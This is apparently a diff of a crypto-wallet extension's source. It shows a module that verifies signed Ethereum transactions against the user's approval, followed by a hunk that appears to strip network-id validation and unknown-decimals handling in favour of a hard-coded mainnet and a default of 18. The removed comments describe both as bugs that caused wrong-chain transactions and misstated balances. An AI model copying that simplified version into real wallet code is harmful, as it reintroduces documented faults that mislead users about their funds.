||||
|
||||
// 100,000 gwei per gas: orders of magnitude above the highest fee either
|
||||
// supported network has produced, and low enough to catch a fee that would
|
||||
// hand the validator the balance.
|
||||
const MAX_FEE_PER_GAS = 100000000000000n;
|
||||
|
||||
// A refusal to act on an artifact: it is not the thing that was approved, so
|
||||
// the approval it was offered against is spent and must not be retried. Every
|
||||
// throw in this module is one of these; the background distinguishes them from
|
||||
// transient failures (a busy node, a failed broadcast), which leave the
|
||||
// approval standing so the user can try again.
|
||||
class ApprovalMismatchError extends Error {
|
||||
constructor(message) {
|
||||
super(message);
|
||||
this.name = "ApprovalMismatchError";
|
||||
this.approvalMismatch = true;
|
||||
}
|
||||
}
|
||||
|
||||
function refuse(message) {
|
||||
return new ApprovalMismatchError(message);
|
||||
}
|
||||
|
||||
// Whether a signing failure leaves the approval usable. Anything that is not a
|
||||
// mismatch is the user's to correct and retry.
|
||||
function failureIsRetryable(err) {
|
||||
return !(err && err.approvalMismatch === true);
|
||||
}
|
||||
|
||||
// Case-insensitive address comparison that tolerates absent values on either
|
||||
// side. Two absent addresses compare equal (contract creation has no `to`).
|
||||
function sameAddress(a, b) {
|
||||
const aMissing = a === null || a === undefined || a === "";
|
||||
const bMissing = b === null || b === undefined || b === "";
|
||||
if (aMissing || bMissing) return aMissing && bMissing;
|
||||
try {
|
||||
return getAddress(a) === getAddress(b);
|
||||
} catch {
|
||||
return String(a).toLowerCase() === String(b).toLowerCase();
|
||||
}
|
||||
}
|
||||
|
||||
// Whether the approval fixed a value for a field at all.
|
||||
function present(v) {
|
||||
return v !== null && v !== undefined && v !== "";
|
||||
}
|
||||
|
||||
// Whether a field carries anything at all. An empty array is nothing: ethers
|
||||
// reports an absent access list on a type 2 transaction as `[]`.
|
||||
function carriesValue(v) {
|
||||
if (!present(v)) return false;
|
||||
if (Array.isArray(v)) return v.length > 0;
|
||||
return true;
|
||||
}
|
||||
|
||||
// Normalize a quantity that must be present, refusing anything that is not a
|
||||
// number: an approval carrying junk in a fee field cannot be compared, and an
|
||||
// uncomparable field is a refusal rather than a pass.
|
||||
function normalizeQuantity(v, label) {
|
||||
try {
|
||||
return BigInt(v);
|
||||
} catch {
|
||||
throw refuse(
|
||||
"The approved " +
|
||||
label +
|
||||
" is not a number, so it cannot be" +
|
||||
" compared with the signed transaction.",
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
// Normalize a transaction value (hex string, decimal string, number or
|
||||
// bigint) to a bigint. An absent value is zero, matching ethers. The value is
|
||||
// page-controlled, so it goes through the same refusal as every other
|
||||
// quantity rather than throwing a raw BigInt conversion error.
|
||||
function normalizeValue(v) {
|
||||
if (!present(v)) return 0n;
|
||||
return normalizeQuantity(v, "value");
|
||||
}
|
||||
|
||||
// Normalize an access list to a comparable string. An absent or empty list is
|
||||
// the empty string, so absent and `[]` are the same thing.
|
||||
function normalizeAccessList(v) {
|
||||
if (!carriesValue(v)) return "";
|
||||
let list;
|
||||
try {
|
||||
list = accessListify(v);
|
||||
} catch {
|
||||
throw refuse(
|
||||
"The approved access list is not a valid access list, so it cannot be compared with the signed transaction.",
|
||||
);
|
||||
}
|
||||
return list
|
||||
.map(
|
||||
(entry) =>
|
||||
String(entry.address).toLowerCase() +
|
||||
":" +
|
||||
entry.storageKeys.map((k) => String(k).toLowerCase()).join(","),
|
||||
)
|
||||
.join(";");
|
||||
}
|
||||
|
||||
// Normalize call data to a lowercase hex string. Absent data is "0x".
|
||||
function normalizeData(v) {
|
||||
if (v === null || v === undefined || v === "" || v === "0x") return "0x";
|
||||
return String(v).toLowerCase();
|
||||
}
|
||||
|
||||
// How each field of an approved transaction is compared with the artifact.
|
||||
// There is an entry here for every field any allowed type serializes — a test
|
||||
// pins that against SERIALIZED_FIELDS — so the comparison loop covers the
|
||||
// whole of what gets signed and cannot silently skip a field for want of a
|
||||
// comparator.
|
||||
//
|
||||
// `kind` decides how the two sides are made comparable. A `quantity` must be
|
||||
// fixed by the approval: it is one of the numbers on the approval screen, and
|
||||
// an absent one means the artifact cannot be checked against what was
|
||||
// displayed. `to`, `value`, `data` and `accessList` have canonical absent
|
||||
// forms — contract creation, zero, "0x" and the empty list — so they are
|
||||
// normalized on both sides instead.
|
||||
const APPROVED_FIELDS = {
|
||||
chainId: {
|
||||
kind: "quantity",
|
||||
label: "network",
|
||||
message:
|
||||
"The signed transaction is for a different network than the one that was approved.",
|
||||
},
|
||||
nonce: {
|
||||
kind: "quantity",
|
||||
label: "nonce",
|
||||
message: "The signed transaction does not carry the approved nonce.",
|
||||
},
|
||||
gasLimit: {
|
||||
kind: "quantity",
|
||||
label: "gas limit",
|
||||
message:
|
||||
"The signed transaction does not carry the approved gas limit.",
|
||||
},
|
||||
gasPrice: {
|
||||
kind: "quantity",
|
||||
label: "gas price",
|
||||
message:
|
||||
"The signed transaction does not carry the approved gas price.",
|
||||
},
|
||||
maxFeePerGas: {
|
||||
kind: "quantity",
|
||||
label: "maximum fee per gas",
|
||||
message:
|
||||
"The signed transaction does not carry the approved maximum fee per gas.",
|
||||
},
|
||||
maxPriorityFeePerGas: {
|
||||
kind: "quantity",
|
||||
label: "maximum priority fee per gas",
|
||||
message:
|
||||
"The signed transaction does not carry the approved maximum priority fee per gas.",
|
||||
},
|
||||
to: {
|
||||
kind: "address",
|
||||
label: "recipient",
|
||||
message:
|
||||
"The signed transaction does not go to the approved recipient.",
|
||||
},
|
||||
value: {
|
||||
kind: "value",
|
||||
label: "value",
|
||||
message: "The signed transaction does not carry the approved value.",
|
||||
},
|
||||
data: {
|
||||
kind: "data",
|
||||
label: "call data",
|
||||
message:
|
||||
"The signed transaction does not carry the approved call data.",
|
||||
},
|
||||
accessList: {
|
||||
kind: "accessList",
|
||||
label: "access list",
|
||||
message:
|
||||
"The signed transaction does not carry the approved access list.",
|
||||
},
|
||||
};
|
||||
|
||||
// Compare one field of the artifact with the approved transaction. A field
|
||||
// with no entry in the table above is refused rather than skipped: the loop
|
||||
// below runs over the fields the type serializes, so an unmatched key means
|
||||
// something that gets signed has no comparator at all.
|
||||
function assertFieldMatches(key, parsed, approvedTx) {
|
||||
const field = APPROVED_FIELDS[key];
|
||||
if (!field) {
|
||||
throw refuse(
|
||||
"The signed transaction carries a field this wallet cannot compare with the approval.",
|
||||
);
|
||||
}
|
||||
switch (field.kind) {
|
||||
case "quantity": {
|
||||
if (!present(approvedTx[key])) {
|
||||
throw refuse(
|
||||
"The approved transaction fixes no " +
|
||||
field.label +
|
||||
", so the signed transaction cannot be checked" +
|
||||
" against what was shown.",
|
||||
);
|
||||
}
|
||||
const approved = normalizeQuantity(approvedTx[key], field.label);
|
||||
if (normalizeQuantity(parsed[key], field.label) !== approved) {
|
||||
throw refuse(field.message);
|
||||
}
|
||||
return;
|
||||
}
|
||||
case "address":
|
||||
if (!sameAddress(parsed[key], approvedTx[key])) {
|
||||
throw refuse(field.message);
|
||||
}
|
||||
return;
|
||||
case "value":
|
||||
if (normalizeValue(parsed[key]) !== normalizeValue(approvedTx[key]))
|
||||
throw refuse(field.message);
|
||||
return;
|
||||
case "data":
|
||||
if (normalizeData(parsed[key]) !== normalizeData(approvedTx[key]))
|
||||
throw refuse(field.message);
|
||||
return;
|
||||
default:
|
||||
if (
|
||||
normalizeAccessList(parsed[key]) !==
|
||||
normalizeAccessList(approvedTx[key])
|
||||
) {
|
||||
throw refuse(field.message);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// The ceilings, applied to a transaction that is either about to be displayed
|
||||
// or about to be broadcast. See MAX_GAS_LIMIT above for what they are for:
|
||||
// they bound what the RPC node can talk this wallet into showing the user,
|
||||
// which is the one thing comparing the artifact with the screen cannot do.
|
||||
function assertWithinCeilings(tx) {
|
||||
if (
|
||||
present(tx.gasLimit) &&
|
||||
normalizeQuantity(tx.gasLimit, "gas limit") > MAX_GAS_LIMIT
|
||||
) {
|
||||
throw refuse(
|
||||
"The signed transaction sets a gas limit no network this wallet supports can accept.",
|
||||
);
|
||||
}
|
||||
for (const key of ["gasPrice", "maxFeePerGas", "maxPriorityFeePerGas"]) {
|
||||
if (!present(tx[key])) continue;
|
||||
if (normalizeQuantity(tx[key], "fee per gas") > MAX_FEE_PER_GAS) {
|
||||
throw refuse(
|
||||
"The signed transaction sets a fee per gas far above any plausible value.",
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Refuse a field only a transaction type this wallet does not sign can carry.
|
||||
// The type allowlist keeps these unreachable in production, which is exactly
|
||||
// what they are for; it also means nothing else exercises them, so this is
|
||||
// exported and tested on its own rather than left to be believed.
|
||||
function assertNoForbiddenFields(parsed) {
|
||||
for (const field of FORBIDDEN_FIELDS) {
|
||||
if (carriesValue(parsed[field.key])) throw refuse(field.message);
|
||||
}
|
||||
}
|
||||
|
||||
// Closing structural check. Rebuild the transaction from the fields the
|
||||
// comparisons cover, and nothing else, then compare the unsigned bytes. Every
|
||||
// field carried by the artifact but absent from the rebuild changes the
|
||||
// serialization, so this refuses anything this module does not account for —
|
||||
// including a field a future ethers learns to parse onto an allowed type —
|
||||
// instead of waving it through by not naming it. Also exported for its own
|
||||
// test: nothing reachable today can make the bytes differ.
|
||||
function assertNothingUnchecked(parsed) {
|
||||
let rebuilt;
|
||||
try {
|
||||
const fields = { type: parsed.type };
|
||||
for (const key of SERIALIZED_FIELDS[parsed.type]) {
|
||||
fields[key] = parsed[key];
|
||||
}
|
||||
rebuilt = Transaction.from(fields);
|
||||
} catch {
|
||||
throw refuse(
|
||||
"The signed transaction could not be rebuilt from the fields that were checked, so it cannot be shown to be the approved transaction.",
|
||||
);
|
||||
}
|
||||
if (rebuilt.unsignedSerialized !== parsed.unsignedSerialized) {
|
||||
throw refuse(
|
||||
"The signed transaction carries data beyond the fields that were checked against the approval.",
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
// The other half of the closing check, and the one that makes it bind on the
|
||||
// bytes that actually leave: every comparison above runs against the decode,
|
||||
// so on its own the rebuild proves only that the transaction ethers understood
|
||||
// is the approved one. What the background hands to broadcastTransaction() is
|
||||
// the artifact string itself. Requiring the artifact to be exactly the
|
||||
// canonical re-encoding of its own decode closes the gap between the two —
|
||||
// no encoding the decoder normalizes away (a leading zero byte on an RLP
|
||||
// quantity, say) can differ from what was checked. Hex case is not part of the
|
||||
// encoding, so only that is normalized before comparing.
|
||||
function assertCanonicalBytes(parsed, rawSignedTx) {
|
||||
if (parsed.serialized !== String(rawSignedTx).toLowerCase()) {
|
||||
throw refuse(
|
||||
"The signed transaction is not encoded canonically, so the bytes that would be broadcast are not the bytes that were checked.",
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
// Assert that a raw signed transaction is the transaction the user approved,
|
||||
// signed by the address the approval was raised for, on the network that is
|
||||
// selected. Returns the parsed ethers Transaction on success, throws
|
||||
// otherwise.
|
||||
//
|
||||
// `approvedTx` is the populated transaction the approval screen displayed, and
|
||||
// `expectedFrom` is the address that was active when the approval was raised —
|
||||
// not whichever address is active now. An address switch between approval and
|
||||
// signing therefore refuses here rather than producing a transaction from an
|
||||
// account the approval did not name.
|
||||
function verifySignedTx(
|
||||
rawSignedTx,
|
||||
approvedTx,
|
||||
expectedFrom,
|
||||
selectedChainId,
|
||||
) {
|
||||
if (typeof rawSignedTx !== "string" || !rawSignedTx.startsWith("0x")) {
|
||||
throw refuse("The signed transaction is missing or malformed.");
|
||||
}
|
||||
// Nothing to compare against is a refusal like any other: an approval that
|
||||
// does not carry the transaction it displayed cannot vouch for one.
|
||||
if (!approvedTx || typeof approvedTx !== "object") {
|
||||
throw refuse(
|
||||
"There is no approved transaction to check the signed transaction against.",
|
||||
);
|
||||
}
|
||||
|
||||
let parsed;
|
||||
try {
|
||||
parsed = Transaction.from(rawSignedTx);
|
||||
} catch {
|
||||
throw refuse("The signed transaction could not be decoded.");
|
||||
}
|
||||
|
||||
if (!parsed.from) {
|
||||
throw refuse("The signed transaction carries no valid signature.");
|
||||
}
|
||||
if (!sameAddress(parsed.from, expectedFrom)) {
|
||||
throw refuse(
|
||||
"The signed transaction was signed by a different address than the one that was approved.",
|
||||
);
|
||||
}
|
||||
|
||||
// Before any field is looked at: the type decides which fields exist at
|
||||
// all, so an unrecognised type is refused outright rather than compared
|
||||
// field by field against an approval that cannot describe it.
|
||||
if (!ALLOWED_TX_TYPES.includes(parsed.type)) {
|
||||
throw refuse(
|
||||
"The signed transaction is of a type this wallet does not sign, so what it would do beyond the approved transfer cannot be checked.",
|
||||
);
|
||||
}
|
||||
assertNoForbiddenFields(parsed);
|
||||
|
||||
// The selected network, not the artifact, is the authority on which chain
|
||||
// this may be broadcast to; without it nothing can be verified.
|
||||
if (!present(selectedChainId)) {
|
||||
throw refuse(
|
||||
"The selected network is unknown, so the signed transaction cannot be checked against it.",
|
||||
);
|
||||
}
|
||||
if (parsed.chainId !== normalizeQuantity(selectedChainId, "network")) {
|
||||
throw refuse(
|
||||
"The signed transaction is for a different network than the one that is selected.",
|
||||
);
|
||||
}
|
||||
|
||||
// The approved fee mechanism, named before the type comparison below
|
||||
// subsumes it: the fee the user agreed to is only meaningful under the
|
||||
// mechanism it was quoted in, and saying so is more use than "a different
|
||||
// transaction type".
|
||||
const approvedEip1559 =
|
||||
present(approvedTx.maxFeePerGas) ||
|
||||
present(approvedTx.maxPriorityFeePerGas);
|
||||
const approvedLegacy = present(approvedTx.gasPrice);
|
||||
const signedEip1559 = parsed.type === 2;
|
||||
if (
|
||||
(approvedEip1559 && !signedEip1559) ||
|
||||
(approvedLegacy && signedEip1559)
|
||||
) {
|
||||
throw refuse(
|
||||
"The signed transaction does not use the approved fee mechanism.",
|
||||
);
|
||||
}
|
||||
|
||||
// The type decides which fields are compared, so it is compared first and
|
||||
// against the approval, not merely checked for membership of the
|
||||
// allowlist above.
|
||||
if (!present(approvedTx.type)) {
|
||||
throw refuse(
|
||||
"The approved transaction fixes no transaction type, so the signed transaction cannot be checked against what was shown.",
|
||||
);
|
||||
}
|
||||
if (
|
||||
BigInt(parsed.type) !==
|
||||
normalizeQuantity(approvedTx.type, "transaction type")
|
||||
) {
|
||||
throw refuse(
|
||||
"The signed transaction does not use the approved transaction type.",
|
||||
);
|
||||
}
|
||||
|
||||
// Every field this type serializes, compared with the transaction the user
|
||||
// was shown. Driving the loop off SERIALIZED_FIELDS is what keeps this
|
||||
// exhaustive: the same table decides what assertNothingUnchecked() rebuilds
|
||||
// from, so a field that gets signed and is not compared here cannot exist.
|
||||
for (const key of SERIALIZED_FIELDS[parsed.type]) {
|
||||
assertFieldMatches(key, parsed, approvedTx);
|
||||
}
|
||||
|
||||
assertWithinCeilings(parsed);
|
||||
|
||||
assertNothingUnchecked(parsed);
|
||||
assertCanonicalBytes(parsed, rawSignedTx);
|
||||
|
||||
return parsed;
|
||||
}
|
||||
|
||||
// Assert that a signature over the approved message or typed data was
|
||||
// produced by the address the approval was raised for. Returns the recovered
|
||||
// address on success, throws otherwise.
|
||||
function verifySignature(signParams, signature, expectedFrom) {
|
||||
if (typeof signature !== "string" || !signature.startsWith("0x")) {
|
||||
throw refuse("The signature is missing or malformed.");
|
||||
}
|
||||
|
||||
let recovered;
|
||||
try {
|
||||
if (
|
||||
signParams.method === "personal_sign" ||
|
||||
signParams.method === "eth_sign"
|
||||
) {
|
||||
recovered = verifyMessage(getBytes(signParams.message), signature);
|
||||
} else {
|
||||
const typedData = JSON.parse(signParams.typedData);
|
||||
const { domain, types, message } = typedData;
|
||||
// ethers derives EIP712Domain itself and rejects it as an input.
|
||||
delete types.EIP712Domain;
|
||||
recovered = verifyTypedData(domain, types, message, signature);
|
||||
}
|
||||
} catch {
|
||||
throw refuse("The signature could not be verified.");
|
||||
}
|
||||
|
||||
if (!sameAddress(recovered, expectedFrom)) {
|
||||
throw refuse(
|
||||
"The signature was produced by a different address than the one that was approved.",
|
||||
);
|
||||
}
|
||||
|
||||
return recovered;
|
||||
}
|
||||
|
||||
// The stage a transaction approval failed at. Which stage it is decides
|
||||
// whether the approval survives the failure.
|
||||
const TX_STAGE_SIGN = "sign";
|
||||
const TX_STAGE_VERIFY = "verify";
|
||||
const TX_STAGE_BROADCAST = "broadcast";
|
||||
// Not a failure of this request at all: a second response arrived for an
|
||||
// approval an attempt already holds. The first attempt is still running and
|
||||
// may yet succeed, so the one thing the popup must not say is "start again
|
||||
// from the site".
|
||||
const TX_STAGE_INFLIGHT = "inflight";
|
||||
// A transaction refused for a nonce that is already spoken for, either by the
|
||||
// node's own answer or by this wallet's record of what it has broadcast. It is
|
||||
// the one broadcast-stage failure that is not ambiguous: the transaction was
|
||||
// not taken, so the user is told it did not reach the network and to send it
|
||||
// again, rather than being warned that it might already be out there.
|
||||
const TX_STAGE_NONCE = "nonce";
|
||||
|
||||
function errorText(err) {
|
||||
if (typeof err === "string" && err !== "") return err;
|
||||
if (err && (err.shortMessage || err.message)) {
|
||||
return err.shortMessage || err.message;
|
||||
}
|
||||
return "The transaction could not be sent.";
|
||||
}
|
||||
|
||||
// Every string a failure might carry its reason in. ethers reports the node's
|
||||
// own words in `shortMessage`, but a JSON-RPC error it could not classify is
|
||||
// nested under `error` or `info.error` with the node's message intact, and the
|
||||
// classification below has to see that too.
|
||||
function failureTexts(err) {
|
||||
if (typeof err === "string") return [err];
|
||||
if (!err || typeof err !== "object") return [];
|
||||
const texts = [];
|
||||
for (const text of [err.shortMessage, err.message, err.reason]) {
|
||||
if (text) texts.push(String(text));
|
||||
}
|
||||
const nested = err.error || (err.info && err.info.error);
|
||||
if (nested && nested.message) texts.push(String(nested.message));
|
||||
return texts;
|
||||
}
|
||||
|
||||
// What the Ethereum clients say when a transaction's nonce is already spoken
|
||||
// for: either it is below the account's next nonce, or another transaction is
|
||||
// sitting in the pool at that nonce and this one did not outbid it. Either way
|
||||
// the node answered, and its answer was that it did not take this transaction.
|
||||
//
|
||||
// "already known" is deliberately absent. A node that says it knows the
|
||||
// transaction has it, so that transaction did reach the network and the
|
||||
// ambiguous broadcast wording is the correct one for it.
|
||||
const NONCE_COLLISION_PATTERNS = [
|
||||
/nonce too low/i,
|
||||
/nonce has already been used/i,
|
||||
/invalid nonce/i,
|
||||
/oldnonce/i,
|
||||
/replacement transaction underpriced/i,
|
||||
/replacement fee too low/i,
|
||||
];
|
||||
|
||||
// ethers' own classification of the same two conditions.
|
||||
const NONCE_COLLISION_CODES = ["NONCE_EXPIRED", "REPLACEMENT_UNDERPRICED"];
|
||||
|
||||
// Whether a failed send is a nonce collision.
|
||||
function isNonceCollision(err) {
|
||||
if (!err) return false;
|
||||
if (err.code && NONCE_COLLISION_CODES.includes(err.code)) return true;
|
||||
return failureTexts(err).some((text) =>
|
||||
NONCE_COLLISION_PATTERNS.some((pattern) => pattern.test(text)),
|
||||
);
|
||||
}
|
||||
|
||||
// What both the requesting page and the popup are told about a nonce
|
||||
// collision. The node's own words ("nonce too low") are a fragment and are
|
||||
// replaced rather than passed through: they are not a sentence, and they say
|
||||
// less than the wallet knows.
|
||||
const NONCE_COLLISION_MESSAGE =
|
||||
"The transaction was not sent, because its nonce had already been used" +
|
||||
" by another transaction.";
|
||||
|
||||
// What the background does with a pending transaction approval after a failed
|
||||
// attempt: what it tells the popup, and whether the approval is spent
|
||||
// (resolved to the requesting page as an error and deleted) or left standing
|
||||
// so the user can try the transaction they already saw again.
|
||||
//
|
||||
// - sign: the popup could not produce an artifact, almost always a wrong
|
||||
// password. Nothing left the extension, so the approval stands.
|
||||
// - verify: a mismatch is a refusal and spends the approval — an artifact
|
||||
// that is not the approved transaction must never be retried against that
|
||||
// approval. Anything else failed before the check ran and is retryable.
|
||||
// - broadcast: always terminal. A broadcast that throws after the node
|
||||
// accepted the transaction is routine (a timeout, a dropped response, a
|
||||
// node answering "already known"), so the wallet cannot tell a transaction
|
||||
// that never left from one that is already in the mempool. The approval is
|
||||
// spent and the requesting page has been given its outcome; a second
|
||||
// attempt against it would report a second outcome for one request.
|
||||
// - nonce: terminal too, and the one case where the wallet does know the
|
||||
// transaction never left. The approval carries a nonce that is spent, so
|
||||
// the artifact signed against it can never be accepted and the user is told
|
||||
// to send it again from the site.
|
||||
//
|
||||
// The stage comes back out because a broadcast failure the node blamed on the
|
||||
// nonce is reclassified here; the caller reports the stage this returns rather
|
||||
// than the one it passed in.
|
||||
function describeTxFailure(stage, err) {
|
||||
if (
|
||||
stage === TX_STAGE_NONCE ||
|
||||
(stage === TX_STAGE_BROADCAST && isNonceCollision(err))
|
||||
) {
|
||||
return {
|
||||
error: NONCE_COLLISION_MESSAGE,
|
||||
retryable: false,
|
||||
spendApproval: true,
|
||||
stage: TX_STAGE_NONCE,
|
||||
};
|
||||
}
|
||||
const error = errorText(err);
|
||||
const retryable =
|
||||
stage === TX_STAGE_SIGN ||
|
||||
(stage === TX_STAGE_VERIFY && failureIsRetryable(err));
|
||||
return { error, retryable, spendApproval: !retryable, stage };
|
||||
}
|
||||
|
||||
// What the popup shows and does after the background reports a failed signing
|
||||
// attempt. A retryable failure leaves the approval pending in the background,
|
||||
// so the button goes back to being usable; a refusal spent the approval, and
|
||||
// the popup says so rather than offering a button that cannot succeed.
|
||||
//
|
||||
// A failed broadcast gets its own wording: the transaction may already be on
|
||||
// the network, so telling the user to start again from the site is exactly the
|
||||
// wrong instruction. A nonce collision is the exception to that exception —
|
||||
// the transaction demonstrably did not go out, and saying it might have would
|
||||
// send the user hunting for a transaction that does not exist.
|
||||
function describeSigningFailure(response, fallbackMessage) {
|
||||
let message = (response && response.error) || fallbackMessage;
|
||||
if (!/[.!?]$/.test(message)) message += ".";
|
||||
const retryable = !!(response && response.retryable);
|
||||
const stage = response && response.stage;
|
||||
if (!retryable) {
|
||||
if (stage === TX_STAGE_NONCE) {
|
||||
message +=
|
||||
" The transaction did not reach the network." +
|
||||
" Please send it again from the site.";
|
||||
} else if (stage === TX_STAGE_BROADCAST) {
|
||||
message +=
|
||||
" The transaction may still have reached the network." +
|
||||
" Check the account before sending it again.";
|
||||
} else if (stage === TX_STAGE_INFLIGHT) {
|
||||
message +=
|
||||
" The first attempt is still running and may still succeed." +
|
||||
" Wait for it rather than starting again.";
|
||||
} else {
|
||||
message +=
|
||||
" This request can no longer be signed. Please start it" +
|
||||
" again from the site.";
|
||||
}
|
||||
}
|
||||
return { message, retryable };
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
verifySignedTx,
|
||||
verifySignature,
|
||||
assertNoForbiddenFields,
|
||||
assertNothingUnchecked,
|
||||
assertCanonicalBytes,
|
||||
assertWithinCeilings,
|
||||
sameAddress,
|
||||
failureIsRetryable,
|
||||
isNonceCollision,
|
||||
describeTxFailure,
|
||||
describeSigningFailure,
|
||||
ApprovalMismatchError,
|
||||
NONCE_COLLISION_MESSAGE,
|
||||
ALLOWED_TX_TYPES,
|
||||
SERIALIZED_FIELDS,
|
||||
FORBIDDEN_FIELDS,
|
||||
APPROVED_FIELDS,
|
||||
TX_STAGE_SIGN,
|
||||
TX_STAGE_VERIFY,
|
||||
TX_STAGE_BROADCAST,
|
||||
TX_STAGE_INFLIGHT,
|
||||
TX_STAGE_NONCE,
|
||||
MAX_GAS_LIMIT,
|
||||
MAX_FEE_PER_GAS,
|
||||
};
|
||||
@@ -9,47 +9,16 @@ const {
|
||||
formatUnits,
|
||||
} = require("ethers");
|
||||
const { ERC20_ABI } = require("./constants");
|
||||
const { NETWORKS } = require("./networks");
|
||||
const { log, debugFetch } = require("./log");
|
||||
const { deriveAddressFromXpub } = require("./wallet");
|
||||
const { TOKEN_BY_ADDRESS } = require("./tokenList");
|
||||
const { LOW_HOLDER_THRESHOLD, parseHoldersCount } = require("./holders");
|
||||
const { isSpoofedSymbol } = require("./symbolSpoof");
|
||||
const { toDecimals } = require("./transferAmount");
|
||||
const { resolveTokenDecimals } = require("./approvalAmount");
|
||||
const { KNOWN_SYMBOLS, TOKEN_BY_ADDRESS } = require("./tokenList");
|
||||
|
||||
// Use a static network to skip auto-detection (which can fail and cause
|
||||
// "could not coalesce error" on some RPC endpoints like Cloudflare).
|
||||
//
|
||||
// `networkId` is REQUIRED, and is one of the ids in networks.js. It used to be
|
||||
// optional, falling back to currentNetwork() — the module-level `state`
|
||||
// singleton, which the MV3 service worker never populates. The endpoint then
|
||||
// came out right and the static hint came out mainnet, so ethers fixed
|
||||
// `chainId` at 0x1 and every non-mainnet dApp send was prepared for the wrong
|
||||
// chain and then refused by the wallet's own verifier
|
||||
// (https://git.eeqj.de/sneak/AutistMask/issues/320). Requiring it is what
|
||||
// stops that from coming back: a caller that has no network to name has no
|
||||
// business constructing a provider, and there is no longer a default for it
|
||||
// to get silently wrong.
|
||||
//
|
||||
// Validated against NETWORKS rather than passed straight to Network.from():
|
||||
// ethers knows chains this wallet does not, so an id that is not one of ours
|
||||
// is a caller bug and must not resolve to a working provider for some other
|
||||
// chain.
|
||||
function getProvider(rpcUrl, networkId) {
|
||||
const net = Network.from(requireNetworkId(networkId).id);
|
||||
return new JsonRpcProvider(rpcUrl, net, { staticNetwork: net });
|
||||
}
|
||||
const mainnet = Network.from("mainnet");
|
||||
|
||||
function requireNetworkId(networkId) {
|
||||
const net = NETWORKS[networkId];
|
||||
if (!net) {
|
||||
throw new Error(
|
||||
"getProvider requires the id of a supported network; got " +
|
||||
JSON.stringify(networkId),
|
||||
);
|
||||
}
|
||||
return net;
|
||||
function getProvider(rpcUrl) {
|
||||
return new JsonRpcProvider(rpcUrl, mainnet, { staticNetwork: mainnet });
|
||||
}
|
||||
|
||||
function formatBalance(wei) {
|
||||
@@ -68,28 +37,10 @@ function formatTokenBalance(raw, decimals) {
|
||||
return parts[0] + "." + dec;
|
||||
}
|
||||
|
||||
// The explorer's reported holding as an exact base-unit integer, or null when
|
||||
// it reported nothing usable. Base units carry no scale, so this value is
|
||||
// meaningful before the scale is known — which is what lets a holding of zero
|
||||
// be recognised as zero without guessing a scale to divide it by.
|
||||
function rawUnits(value) {
|
||||
if (typeof value === "bigint") return value >= 0n ? value : null;
|
||||
if (typeof value === "number") {
|
||||
return Number.isSafeInteger(value) && value >= 0 ? BigInt(value) : null;
|
||||
}
|
||||
if (typeof value !== "string" || !/^[0-9]+$/.test(value)) return null;
|
||||
return BigInt(value);
|
||||
}
|
||||
|
||||
// Fetch token balances for a single address from Blockscout.
|
||||
// Returns [{ address, name, symbol, decimals, balance, holders }].
|
||||
// Returns [{ address, symbol, decimals, balance }].
|
||||
// Filters out spam: only shows tokens that are in the known token list,
|
||||
// explicitly tracked by the user, or have >= 1000 holders.
|
||||
//
|
||||
// `decimals` and `balance` are each null when the answer is unknown, the same
|
||||
// way `holders` already is. Absence is never filled in here: this is the
|
||||
// upstream of every screen that displays a token amount, so a value invented
|
||||
// at this point is indistinguishable from a real one everywhere below it.
|
||||
async function fetchTokenBalances(address, blockscoutUrl, trackedTokens) {
|
||||
try {
|
||||
const resp = await debugFetch(
|
||||
@@ -108,89 +59,35 @@ async function fetchTokenBalances(address, blockscoutUrl, trackedTokens) {
|
||||
|
||||
const balances = [];
|
||||
for (const item of items) {
|
||||
// Case-insensitive: the token type is an explorer's label, not a
|
||||
// protocol value, and an exact comparison silently drops a real
|
||||
// holding if one ever writes "erc-20". Which types are admitted
|
||||
// is unchanged.
|
||||
const type = String(item.token?.type || "").toUpperCase();
|
||||
if (type !== "ERC-20") continue;
|
||||
if (item.token?.type !== "ERC-20") continue;
|
||||
const decimals = parseInt(item.token.decimals || "18", 10);
|
||||
const bal = formatTokenBalance(item.value || "0", decimals);
|
||||
if (bal === "0.0") continue;
|
||||
|
||||
const tokenAddr = (item.token.address_hash || "").toLowerCase();
|
||||
|
||||
// What the explorer reported, or null. NEVER a default: this
|
||||
// value is written to state and every later reader — the approval
|
||||
// screen's amount line, the swap lines, the Send screen — takes it
|
||||
// as the token's resolved scale. A fabricated 18 reads exactly
|
||||
// like a real 18 at that point, so it does not merely display the
|
||||
// wrong quantity, it walks straight past the refusal those screens
|
||||
// already have for a scale nobody knows
|
||||
// (https://git.eeqj.de/sneak/AutistMask/issues/349).
|
||||
const decimals = toDecimals(item.token.decimals);
|
||||
|
||||
const raw = rawUnits(item.value);
|
||||
// No usable amount at all is nothing to list, exactly as a
|
||||
// formatted "0.0" was before. Checked on the base-unit integer so
|
||||
// it does not depend on knowing the scale: zero base units is zero
|
||||
// tokens at every scale, and a value the explorer did not report
|
||||
// as an integer is not a holding.
|
||||
if (raw === null || raw === 0n) continue;
|
||||
|
||||
// The scale this row's balance is DISPLAYED at, which is not the
|
||||
// same question as what the explorer said. The bundled list and
|
||||
// the tokens the user tracks both outrank the explorer already
|
||||
// (resolveTokenDecimals), so a token they know keeps showing its
|
||||
// real quantity even when the explorer's entry omits decimals.
|
||||
// Only what neither of them nor the explorer knows is unknown.
|
||||
// The stored `decimals` above stays the explorer's own answer
|
||||
// either way: copying another source into it would make
|
||||
// explorerDecimals()'s disagreement check compare something other
|
||||
// than explorer values.
|
||||
const known = resolveTokenDecimals(tokenAddr, { trackedTokens });
|
||||
const scale = known !== null ? known : decimals;
|
||||
// null is a holding of an amount that cannot be stated, which is
|
||||
// not the same as a holding of zero, and must never render as one.
|
||||
// With a scale, the display filter proper applies: a balance that
|
||||
// rounds to zero at six places is dust and is not listed. Without
|
||||
// one there is no such judgement to make, and the row is kept.
|
||||
const bal = scale === null ? null : formatTokenBalance(raw, scale);
|
||||
if (bal === "0.0") continue;
|
||||
// null means the explorer reported no count, which is not the
|
||||
// same as a count of zero. This gate is not the low-holder
|
||||
// display filter: it has no user-facing off switch and governs
|
||||
// the whole balance list, so it stays strict and admits a token
|
||||
// only on a reported count — an unreported one is no evidence.
|
||||
// A legitimate token still reaches the list through the known
|
||||
// token list or by the user tracking it, and the null is carried
|
||||
